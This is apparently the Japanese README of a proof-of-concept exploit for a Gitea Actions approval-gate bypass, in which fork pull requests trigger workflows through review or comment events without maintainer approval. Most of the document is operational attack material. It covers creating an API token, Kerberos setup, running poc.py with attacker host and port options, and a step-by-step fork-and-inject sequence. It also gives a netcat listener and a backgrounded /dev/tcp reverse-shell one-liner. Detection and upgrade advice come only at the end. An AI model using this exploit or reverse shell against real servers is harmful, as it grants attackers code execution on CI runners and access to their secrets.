
GiteaオープンソースGitサーバーの承認ゲートロジックの欠陥により、恒久的なフォークから発信されたプルリクエストが、リポジトリに設定された承認ゲートを満たさずにマージされる可能性があります。
重大度: 高 (CVSS 8.9) 影響を受けるバージョン: Gitea ≤ 1.26.2 修正バージョン: Gitea 1.26.3 アドバイザリ: GHSA-777r-4v59-6486
Gitea Actions は、フォークされたプルリクエストによってトリガーされるワークフロー実行に対して承認ゲートを適用します。このゲートは ifNeedApproval() に実装されており、信頼できないコントリビューターが CI パイプラインを介して任意のコードを実行するのを防ぐことを目的としています。
欠陥は、ifNeedApproval() が pull_request イベントにのみ正しく適用されることです。ワークフローの on: ブロックにリストされた各イベントタイプは、独自の承認チェックを持つ独立した ActionRun オブジェクトを生成します。攻撃者が on: ブロックを拡張して pull_request_review、issue_comment、pull_request_review_comment などのイベントを含めると、それらの実行は承認ゲートを通過せずにディスパッチされます。
これらの保護されていないイベントのいずれかをトリガーすると(例: PR レビューコメントの投稿)、メンテナーの承認を必要とせずに、ランナーのサービスアカウントとしてワークフロー実行が即座に開始されます。
ifNeedApproval() 関数は、pull_request イベントに対して (repo_id, trigger_user_id) に基づいて承認をチェックしますが、このチェックをトリガー可能なすべてのイベントタイプに一貫して適用するわけではありません。
脆弱な経路:
POST /repos/{owner}/{repo}/pulls/{index}/reviews
-> Gitea creates ActionRun with event=pull_request_review
-> ifNeedApproval() not called for this event type
-> Job dispatched to runner immediately
| 要件 | 詳細 |
|---|---|
| Gitea アカウント | フォーク権限を持つ任意の認証済みユーザー |
| ターゲットリポジトリ | Gitea Actions が有効である必要があります |
| ランナー | act_runner がオンラインで登録されている必要があります |
| ネットワーク | 攻撃者のホストがランナーから到達可能である必要があります |
# Minimum
pip install requests
# For Kerberos/Negotiate auth
pip install requests requests-gssapi
ブラウザ経由: Settings -> Applications -> Generate Token
必要なスコープ: リポジトリ書き込み + イシュー書き込み。
API 経由:
curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
-u "<username>:<password>" \
-H "Content-Type: application/json" \
-d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
実行:
python3 poc.py \
--url http://gitea.example.com:3000 \
--token <token> \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
Kerberos/SPNEGO のみを受け付ける Gitea インスタンス向け(SSPI が強制される Active Directory 環境)。有効な TGT を持つドメイン参加済みホストから実行する必要があります。
kinit [email protected]
klist
python3 poc.py \
--url http://gitea.corp.local:3000 \
--negotiate \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
DNS 解決に失敗する場合は、/etc/krb5.conf を設定します:
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
[realms]
DOMAIN.LOCAL = {
kdc = <DC_IP>
admin_server = <DC_IP>
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
--url Gitea base URL (required)
--token API token
--negotiate Kerberos/SPNEGO auth (kinit first)
--cookie Session cookie string
--target-owner Target repo owner (required)
--target-repo Target repo name (required)
--lhost Attacker IP for reverse shell (required)
--lport Attacker port (required)
--runner-label Runner label to target (default: tries common labels)
--detect-label Auto-enumerate runner labels before exploiting
--fork-name Custom fork name (default: <repo>-<random>)
--workflow-name Custom workflow filename (default: ci-<random>.yml)
--pr-title Custom PR title (default: random realistic string)
--review-body Custom review comment (default: random)
--payload-type bash / python3 / nc / custom (default: bash)
--custom-payload Shell command (use with --payload-type custom)
--no-cleanup Leave PR open after exploit
--cleanup-delay Seconds before cleanup (default: 30)
nc -lvnp 4444
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
-> pull_request_review event fires
-> ifNeedApproval() NOT called
-> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
デフォルトでは act_runner はシングルワーカーです。リバースシェルステップが正常に終了しない場合、ランナーは「running」状態のままになり、新しいジョブを無視します。
これを回避するには、シェルをバックグラウンド化します:
- name: run
run: |
setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
sleep 1
exit 0
または、--custom-payload を使用して、デーモン化されたワンライナーを直接渡します。
event=pull_request_review または event=issue_comment の ActionRun エントリpull_request_review トリガーが含まれている| 対応 | 詳細 |
|---|---|
| アップグレード | Gitea 1.26.3+ でこの問題は修正されています |
| 回避策 | 信頼できないコントリビューターがいるリポジトリで Gitea Actions を無効化する |
| 監査 | フォーク PR と関連するワークフロー実行を確認し、予期しない実行がないか調べる |
| 制限 | フォーク権限を信頼できるユーザーに限定する |
許可されたセキュリティテストおよび研究目的のみに使用してください。明示的な書面による許可なくシステムに対して使用しないでください。